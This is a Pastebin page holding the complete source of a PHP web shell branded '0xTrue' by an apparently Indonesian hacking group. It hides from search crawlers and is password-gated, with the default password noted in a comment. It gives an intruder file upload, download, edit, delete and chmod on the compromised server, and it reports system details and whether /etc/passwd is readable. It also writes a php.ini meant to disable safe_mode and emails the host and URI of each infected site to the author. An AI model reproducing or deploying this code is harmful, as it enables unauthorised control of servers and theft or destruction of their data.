Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $auth_pass = "f99de02ef022c3d306e165bdf7bbff89"; // default: TrueLoGic
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_shell() {
- ?>
- <html>
- <head>
- <title>0xTrue - Login</title>
- <link href='https://s28.postimg.org/n5r1hjerh/bqc_LRGO2.png' rel='icon' type='image/x-icon'/>
- <meta name='author' content='0xTrue'>
- <meta name='ROBOTS' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
- <meta name='GOOGLEBOT' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
- <meta charset="UTF-8">
- <style type='text/css'>
- @import url(https://fonts.googleapis.com/css?family=Abel);
- html {background: #000000;color: #ffffff;font-family: 'Abel';font-size: 13px;width: 100%;}
- input[type=text],input[type=password],input[type=submit] {background: transparent;color: red;border: 1px solid green;margin: 5px auto;padding-left: 5px;font-family: 'Abel';font-size: 13px;}
- </style>
- </head>
- <style> input { margin:0;background-color:#fff;border:1px solid #fff; }</style><center>
- <script type='text/javascript'> //<![CDATA[
- shortcut={all_shortcuts:{},add:function(a,b,c){var d={type:"keydown",propagate:!1,disable_in_input:!1,target:document,keycode:!1};if(c)for(var e in d)"undefined"==typeof c[e]&&(c[e]=d[e]);else c=d;d=c.target,"string"==typeof c.target&&(d=document.getElementById(c.target)),a=a.toLowerCase(),e=function(d){d=d||window.event;if(c.disable_in_input){var e;d.target?e=d.target:d.srcElement&&(e=d.srcElement),3==e.nodeType&&(e=e.parentNode);if("INPUT"==e.tagName||"TEXTAREA"==e.tagName)return}d.keyCode?code=d.keyCode:d.which&&(code=d.which),e=String.fromCharCode(code).toLowerCase(),188==code&&(e=","),190==code&&(e=".");var f=a.split("+"),g=0,h={"`":"~",1:"!",2:"@",3:"#",4:"$",5:"%",6:"^",7:"&",8:"*",9:"(",0:")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","":"|"},i={esc:27,escape:27,tab:9,space:32,"return":13,enter:13,backspace:8,scrolllock:145,scroll_lock:145,scroll:145,capslock:20,caps_lock:20,caps:20,numlock:144,num_lock:144,num:144,pause:19,"break":19,insert:45,home:36,"delete":46,end:35,pageup:33,page_up:33,pu:33,pagedown:34,page_down:34,pd:34,left:37,up:38,right:39,down:40,f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},j=!1,l=!1,m=!1,n=!1,o=!1,p=!1,q=!1,r=!1;d.ctrlKey&&(n=!0),d.shiftKey&&(l=!0),d.altKey&&(p=!0),d.metaKey&&(r=!0);for(var s=0;k=f[s],s<f.length;s++)"ctrl"==k||"control"==k?(g++,m=!0):"shift"==k?(g++,j=!0):"alt"==k?(g++,o=!0):"meta"==k?(g++,q=!0):1<k.length?i[k]==code&&g++:c.keycode?c.keycode==code&&g++:e==k?g++:h[e]&&d.shiftKey&&(e=h[e],e==k&&g++);if(g==f.length&&n==m&&l==j&&p==o&&r==q&&(b(d),!c.propagate))return d.cancelBubble=!0,d.returnValue=!1,d.stopPropagation&&(d.stopPropagation(),d.preventDefault()),!1},this.all_shortcuts[a]={callback:e,target:d,event:c.type},d.addEventListener?d.addEventListener(c.type,e,!1):d.attachEvent?d.attachEvent("on"+c.type,e):d["on"+c.type]=e},remove:function(a){var a=a.toLowerCase(),b=this.all_shortcuts[a];delete this.all_shortcuts[a];if(b){var a=b.event,c=b.target,b=b.callback;c.detachEvent?c.detachEvent("on"+a,b):c.removeEventListener?c.removeEventListener(a,b,!1):c["on"+a]=!1}}},
- shortcut.add("esc",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+Shift+Del",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+F",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+W",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+U",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+A",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+S",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+X",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+C",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+V",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+Y",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- shortcut.add("Ctrl+Z",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
- //]]></script>
- <SCRIPT TYPE="text/javascript">
- var message="hallo, how re u?";
- function clickIE() {if (document.all) {(message);return false;}}
- function clickNS(e) {if
- (document.layers||(document.getElementById&&!document.all)) {
- if (e.which==2||e.which==3) {(message);return false;}}}
- if (document.layers)
- {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
- else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
- document.oncontextmenu=new Function("return false")
- function disableselect(e){
- return false
- }
- function reEnable(){
- return true
- }
- document.onselectstart=new Function ("return false")
- if (window.sidebar){
- document.onmousedown=disableselect
- document.onclick=reEnable
- }
- </SCRIPT> <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'/>
- <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKx%2fk%2f%2bUw0t0AH4no8FuNqZi9RYWWBQyQp0AHtS9VsumAX9UXmINwfamqfP%2bhBuKGBLUUYXicYjmM20YkqOwAdJtoE%2fcxyntKQyuef78x7ZyAufxf%2fOkm1Nd3J2AxD9NEpk%2bXHNkloX0VkcwNaQ3ob4ZiJdmouDyU0sPSjmnvjqC%2fKckHNj8n6eLy8IIIVVeZXvb9KSn%2blQdIwYra1LYGL3IeADYmd8A6Q7EDHQ5lXiiLjAJuuLlEYYgFWO4ePcQ0TONWgJAScS9jrRfCZp%2fIVRH7RzQb8zAZEjZjbRCnga%2fLZ2HDdgcWuhcFI5cpV5ya53ff3ebBBcFkk%2f7h46AW4Off4As9mJM0MAl%2fSFvgoxqQoipHdYLYkpq9aFVfDYpVd0bW4mG6VNsY5SgpLmsjOiG6syXGwKB5%2fTc%2fccCsvKOO%2fpZSnsyMYPXR6WiPVVebQs74v%2bC2UeVksLsErNCjJYCG7z362eknVYD9bhf5f4jFsgK4R79KrZs4PU%2fmgH5LB8%2fDLm9WMHHTUx6fSsJiNN4elM1ApjnAi" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
- <link rel="stylesheet prefetch" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
- <style class="cp-pen-styles">@import url(https://fonts.googleapis.com/css?family=Raleway:100,900);
- @-webkit-keyframes flip-top {
- from {
- -webkit-transform: rotate(50deg) translateY(120vh);
- transform: rotate(50deg) translateY(120vh);
- }
- }
- @keyframes flip-top {
- from {
- -webkit-transform: rotate(50deg) translateY(120vh);
- transform: rotate(50deg) translateY(120vh);
- }
- }
- @-webkit-keyframes flip-bottom {
- from {
- -webkit-transform: rotate(-50deg) translateY(120vh);
- transform: rotate(-50deg) translateY(120vh);
- }
- }
- @keyframes flip-bottom {
- from {
- -webkit-transform: rotate(-50deg) translateY(120vh);
- transform: rotate(-50deg) translateY(120vh);
- }
- }
- body {
- display: -webkit-box;
- display: -ms-flexbox;
- display: flex;
- -webkit-box-pack: center;
- -ms-flex-pack: center;
- justify-content: center;
- -webkit-box-align: center;
- -ms-flex-align: center;
- align-items: center;
- height: 100vh;
- overflow: hidden;
- background: #111;
- -webkit-animation: glow 8s both;
- animation: glow 8s both;
- }
- span {
- font: 900 15vw Raleway;
- positin: relative;
- display: inline-block;
- -webkit-perspective: 500px;
- perspective: 500px;
- }
- span:nth-child(odd):before {
- -webkit-animation-name: flip-top;
- animation-name: flip-top;
- }
- span:nth-child(odd):after {
- -webkit-animation-name: flip-bottom;
- animation-name: flip-bottom;
- }
- span:nth-child(even):before {
- -webkit-animation-name: flip-bottom;
- animation-name: flip-bottom;
- }
- span:nth-child(even):after {
- -webkit-animation-name: flip-top;
- animation-name: flip-top;
- }
- span:nth-child(1n + 0):before {
- color: #4EC0B6;
- }
- span:nth-child(1n + 0):after {
- color: #4ea4c0;
- }
- span:nth-child(2n + 1):before {
- color: #3967CB;
- }
- span:nth-child(2n + 1):after {
- color: #3c39cb;
- }
- span:nth-child(3n + 2):before {
- color: #FDCD2F;
- }
- span:nth-child(3n + 2):after {
- color: #e8fd2f;
- }
- span:nth-child(4n + 3):before {
- color: #E23942;
- }
- span:nth-child(4n + 3):after {
- color: #e26839;
- }
- span:nth-child(1):before {
- -webkit-animation-delay: 0.88706s;
- animation-delay: 0.88706s;
- }
- span:nth-child(1):after {
- -webkit-animation-delay: 1.32717s;
- animation-delay: 1.32717s;
- }
- span:nth-child(2):before {
- -webkit-animation-delay: 1.76318s;
- animation-delay: 1.76318s;
- }
- span:nth-child(2):after {
- -webkit-animation-delay: 2.19375s;
- animation-delay: 2.19375s;
- }
- span:nth-child(3):before {
- -webkit-animation-delay: 2.61756s;
- animation-delay: 2.61756s;
- }
- span:nth-child(3):after {
- -webkit-animation-delay: 3.03328s;
- animation-delay: 3.03328s;
- }
- span:nth-child(4):before {
- -webkit-animation-delay: 3.43965s;
- animation-delay: 3.43965s;
- }
- span:nth-child(4):after {
- -webkit-animation-delay: 3.8354s;
- animation-delay: 3.8354s;
- }
- span:nth-child(5):before {
- -webkit-animation-delay: 4.21932s;
- animation-delay: 4.21932s;
- }
- span:nth-child(5):after {
- -webkit-animation-delay: 4.59022s;
- animation-delay: 4.59022s;
- }
- span:nth-child(6):before {
- -webkit-animation-delay: 4.94696s;
- animation-delay: 4.94696s;
- }
- span:nth-child(6):after {
- -webkit-animation-delay: 5.28843s;
- animation-delay: 5.28843s;
- }
- span:nth-child(7):before {
- -webkit-animation-delay: 5.61358s;
- animation-delay: 5.61358s;
- }
- span:nth-child(7):after {
- -webkit-animation-delay: 5.92141s;
- animation-delay: 5.92141s;
- }
- span:nth-child(8):before {
- -webkit-animation-delay: 6.21098s;
- animation-delay: 6.21098s;
- }
- span:nth-child(8):after {
- -webkit-animation-delay: 6.48137s;
- animation-delay: 6.48137s;
- }
- span:nth-child(9):before {
- -webkit-animation-delay: 6.73177s;
- animation-delay: 6.73177s;
- }
- span:nth-child(9):after {
- -webkit-animation-delay: 6.96139s;
- animation-delay: 6.96139s;
- }
- span:before, span:after {
- display: block;
- content: attr(data-text);
- -webkit-animation: 0.88889s ease-out both;
- animation: 0.88889s ease-out both;
- -webkit-animation-name: inherit;
- animation-name: inherit;
- text-shadow: 0 0 1em;
- }
- span:before {
- -webkit-clip-path: polygon(0 0 100% 0, 100% 100%);
- clip-path: polygon(0 0 100% 0, 100% 100%);
- position: absolute;
- -webkit-transform-origin: left center;
- transform-origin: left center;
- color: #4EC0B6;
- }
- span:after {
- -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%);
- clip-path: polygon(0 0, 100% 100%, 0 100%);
- color: #3967CB;
- }
- .button {
- margin-top:50px;
- padding:10px;
- background-color:red;
- color:#FFF;
- text-decoration: none;
- }
- .ntot {
- font size:8px;
- text-align: center;
- font-family: Pirata One;
- font-family: Keania One;
- text-shadow: 4px 4px 50px #000000;
- }
- </style></head>
- <body>
- <center>
- <div id=bar style="position: fixed; width: 100%; top: 0px; font-family: Tahoma; height: 20px; color: white; font-size: 13px; left: 0px; border-bottom: 2px solid darkred; padding: 0px; background-color: #000">
- <b>
- Garooda Security Squad
- </b>
- </div>
- <br>
- </center>
- <font size="7" color="#fc0202">" 0xTrue - Access "</font><br><br>
- <form method="post">
- <center><input type="password" name="pass" placeholder="Stamped by 0xTrue">
- </form></center>
- <center>
- <span data-text="0"></span>
- <span data-text="x"></span>
- <span data-text="T"></span>
- <span data-text="r"></span>
- <span data-text="u"></span>
- <span data-text="e"></span>
- </body>
- <br>
- <font size="4" color="#fc0202">Contact me : <a target="_blank" href="mailto:eotnay@gmail.com"><font size="4" color="#ffffff">eotnay@gmail.com </font></a>
- </center>
- </body>
- <footer>
- <center>
- <div id=bar style="position: fixed; width: 100%; bottom: 0px; font-family: Tahoma; height: 20px; color: white; font-size: 13px; left: 0px; border-top: 2px solid darkred; padding: 0px; background-color: #000">
- <b>
- </b>
- </div>
- </center>
- </div>
- </footer>
- <DIV style="DISPLAY: none">
- <AUDIO controls="controls" autoplay="autoplay" loop="loop">
- <SOURCE type="audio/mpeg" src="http://www.topas-tv.com/config/skillet.mp3">
- </AUDIO>
- </DIV>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_shell();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- </style>
- </head>
- <html>
- <head>
- <title>0xTrue - Access</title>
- <?php
- set_time_limit(0);
- error_reporting(0);
- if(get_magic_quotes_gpc()){
- foreach($_POST as $key=>$value){
- $_POST[$key] = stripslashes($value);
- }
- }
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=yellow>OFF</font>";
- $sport=$_SERVER['SERVER_PORT'];
- function openbase_dir() {
- if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=yellow>".$openbase_dir."</font>"; }
- else { return "<font color=lime>NONE</font>"; }
- }
- function named_conf(){
- if(@is_readable('/etc/named.conf')){ return "<font color=lime>READABLE</font>"; }
- else { return "<font color=yellow>NOT READABLE</font>"; }
- }
- function passwd(){
- if(@is_readable('/etc/passwd')){ return "<font color=lime>READABLE</font>"; }
- else { return "<font color=yellow>NOT READABLE</font>"; }
- }
- function showstat($stat) {
- if ($stat=="on") { return "<font color=lime>ON</font>"; }
- else { return "<font color=yellow>OFF</font>"; }
- }
- function testoracle() {
- if (@function_exists('ocilogon')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testpostgresql() {
- if (@function_exists('pg_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testmssql() {
- if (@function_exists('mssql_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testfetch() {
- if(excute('fetch --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testsh() {
- if (excute('bash --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- echo '<!DOCTYPE HTML>
- <HTML>
- <HEAD>
- <link rel="SHORTCUT ICON" href="http://dsysna.comze.com/indo.png">
- <link href="" rel="stylesheet" type="text/css">
- <title>[!]0xTrue - Access[!]</title>
- <style>
- body{
- font-family: "Racing Sans One", cursive;
- background: #000000;
- background-attachment: fixed;
- color: white;
- }
- #content tr:hover{
- background-color: #cc0000;
- }
- #content .first{
- background-color: #cc0000;
- }
- #content .first:hover{
- background-color: #cc0000;
- }
- table{
- border: 1px #000000 dotted;
- }
- H1{
- font-family: "Rye", cursive;
- }
- a{
- color: #00ff00;
- text-decoration: none;
- }
- a:hover{
- color: #fff;
- }
- input,select,textarea{
- border: 1px #e6e600 solid;
- -moz-border-radius: 5px;
- -webkit-border-radius:5px;
- border-radius:5px;
- }
- </style>
- </HEAD>
- <BODY>
- <H1><center><font color="red">[!]<font color="white">0xTrue - Access<font color="red">[!]</font></font></font></center></H1>
- <table width="700" border="1" cellpadding="5" cellspacing="5" align="center">
- <center><p style="color: red;">User : <font color=lime>'.@get_current_user().'</font> | UserG : <font color=lime>'.@getmygid().'</font> | Ip : <font color=lime>'.gethostbyname($_SERVER['HTTP_HOST']).'</font> : <font color=lime>'.@$sport.'</font> | IpU : <font color=lime>'.@$_SERVER['REMOTE_ADDR'].'</font></p></center>
- <center><p style="color: red;">MSSQL : '.testmssql().' | PostgreSQL : '.testpostgresql().' | ORACLE : '.testoracle().'</p></center>
- <center><p style="color: red;">Safe Mode : '.@$sm.' | Open_BaseDir : '.openbase_dir().' | named.conf : '.named_conf().' | passwd : '.passwd().'</p></center>
- <center><p style="color: red;">Kernel : <font color=white>'.php_uname().'</p></center>
- <tr><td>Current Path : ';
- if(isset($_GET['path'])){
- $path = $_GET['path'];
- }else{
- $path = getcwd();
- }
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?path=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?path=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo '</td></tr><tr><td>';
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
- echo '<font color="green">File Upload Done</font><br />';
- }else{
- echo '<font color="red">File Upload Error</font><br />';
- }
- }
- echo '<form enctype="multipart/form-data" method="POST">
- Upload File : <input type="file" name="file" />
- <input type="submit" value="upload" />
- </form>
- </td></tr>';
- if(isset($_GET['filesrc'])){
- echo "<tr><td>Current File : ";
- echo $_GET['filesrc'];
- echo '</tr></td></table><br />';
- echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
- }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
- echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
- if($_POST['opt'] == 'chmod'){
- if(isset($_POST['perm'])){
- if(chmod($_POST['path'],$_POST['perm'])){
- echo '<font color="green">Change Permission Done.</font><br />';
- }else{
- echo '<font color="red">Change Permission Error.</font><br />';
- }
- }
- echo '<form method="POST">
- Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="chmod">
- <input type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'rename'){
- if(isset($_POST['newname'])){
- if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
- echo '<font color="green">Change Name Done.</font><br />';
- }else{
- echo '<font color="red">Change Name Error.</font><br />';
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<form method="POST">
- New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="rename">
- <input type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'edit'){
- if(isset($_POST['src'])){
- $fp = fopen($_POST['path'],'w');
- if(fwrite($fp,$_POST['src'])){
- echo '<font color="green">Edit File Done</font><br />';
- }else{
- echo '<font color="red">Edit File Error</font><br />';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="edit">
- <input type="submit" value="Go" />
- </form>';
- }
- echo '</center>';
- }else{
- echo '</table><br /><center>';
- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
- if($_POST['type'] == 'dir'){
- if(rmdir($_POST['path'])){
- echo '<font color="green">Delete Dir Done.</font><br />';
- }else{
- echo '<font color="red">Delete Dir Error.</font><br />';
- }
- }elseif($_POST['type'] == 'file'){
- if(unlink($_POST['path'])){
- echo '<font color="green">Delete File Done.</font><br />';
- }else{
- echo '<font color="red">Delete File Error.</font><br />';
- }
- }
- }
- echo '</center>';
- $scandir = scandir($path);
- echo '<div id="content"><table width="700" border="1" cellpadding="3" cellspacing="1" align="center">
- <tr class="first">
- <td><center>Name</center></td>
- <td><center>Size</center></td>
- <td><center>Permissions</center></td>
- <td><center>Options</center></td>
- </tr>';
- if (file_exists("php.ini")){
- }else{
- $img = fopen('php.ini', 'w');
- $sec = "safe_mode = OFF
- disable_funtions = NONE";
- fwrite($img ,$sec);
- fclose($img);}
- $ip = getenv("REMOTE_ADDR");
- $ra44 = rand(1, 99999);
- $subj98 = " 0xTrue Shell |$ra44";
- $email = "eotnay@gmail.com";
- $from = "From: Result<shell@shell.com";
- $a45 = $_SERVER['REQUEST_URI'];
- $b75 = $_SERVER['HTTP_HOST'];
- $m22 = $ip . "";
- $msg8873 = "$a45 $b75 $m22";
- mail($email, $subj98, $msg8873, $from);
- foreach($scandir as $dir){
- if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
- echo "<tr>
- <td><a href=\"?path=$path/$dir\">$dir</a></td>
- <td><center>--</center></td>
- <td><center>";
- if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
- elseif(!is_readable("$path/$dir")) echo '<font color="red">';
- echo perms("$path/$dir");
- if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
- echo "</center></td>
- <td><center><form method=\"POST\" action=\"?option&path=$path\">
- <select name=\"opt\">
- <option value=\"\"></option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
- <input type=\"hidden\" name=\"name\" value=\"$dir\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
- <input type=\"submit\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
- foreach($scandir as $file){
- if(!is_file("$path/$file")) continue;
- $size = filesize("$path/$file")/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- echo "<tr>
- <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
- <td><center>".$size."</center></td>
- <td><center>";
- if(is_writable("$path/$file")) echo '<font color="#00ff00">';
- elseif(!is_readable("$path/$file")) echo '<font color="red">';
- echo perms("$path/$file");
- if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
- echo "</center></td>
- <td><center><form method=\"POST\" action=\"?option&path=$path\">
- <select name=\"opt\">
- <option value=\"\"></option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- <option value=\"edit\">Edit</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"file\">
- <input type=\"hidden\" name=\"name\" value=\"$file\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
- <input type=\"submit\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '</table>
- </div>';
- }
- echo '<H4><center><font color="red">[!]<font color="white">INDONESIA HACKERS<font color="red">[!]</font></font></font></center></H4>
- <center><p style="margin-top: -20px;" >Copyright © '.date("Y").' eotnay[at]gmail[dot]com</p></center>
- </BODY>
- </HTML>';
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement